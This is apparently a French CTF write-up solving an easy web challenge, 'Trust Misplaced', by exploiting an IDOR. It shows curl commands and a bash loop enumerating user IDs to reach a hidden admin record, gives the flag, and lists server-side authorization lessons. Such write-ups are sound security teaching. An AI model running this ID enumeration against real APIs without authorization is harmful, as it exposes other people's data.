Post

ECOWAS CTF 2026 — Trust Misplaced (IDOR) [Web/100pts]

CTF : ECOWAS CTF 2026 · Catégorie : Web · Difficulté : ⭐ (Easy) · Points : 100
← Retour à l’index du CTF


Description

Une API utilisateur. Votre ID commence à 1. Mais et si l’ID 0 existait ?


Analyse

IDOR (Insecure Direct Object Reference) : L’API /api/user?id= n’a aucune vérification d’autorisation côté serveur. Le frontend commence à id=1 mais l’admin est à id=0 (caché de l’interface).


Solution

Étape 1 — Analyser le JavaScript

curl http://challenge-url/static/app.js | grep "api/user"
// Charge depuis id=1 fetch('/api/user?id=1').then(...)

Étape 2 — Tester id=0

curl "http://challenge-url/api/user?id=0"

Réponse :

{ "id": 0, "name": "admin", "role": "admin", "flag": "EcowasCTF{id0R_exp0sed_fl@g}" }

L’objet admin est directement accessible — aucune restriction serveur.

Étape 3 — Tester d’autres IDs (bonne pratique)

for id in $(seq -1 10); do echo "ID $id:" curl -s "http://challenge-url/api/user?id=$id" | python3 -m json.tool done

Flag

EcowasCTF{id0R_exp0sed_fl@g}

Leçons retenues

  • IDOR : tester les IDs adjacents (0, -1, autres utilisateurs) — id=0 est classiquement l’admin
  • La sécurité ne doit jamais reposer sur l’interface côté client — valider TOUJOURS côté serveur
  • Cette vulnérabilité est dans le OWASP Top 10 A01:2021 — Broken Access Control
  • Méthodologie : lire le JS → identifier les paramètres d’API → tester les valeurs limites

← Retour à l’index ECOWAS CTF 2026

Cet article est sous licence CC BY 4.0 par t3chw1z4rd.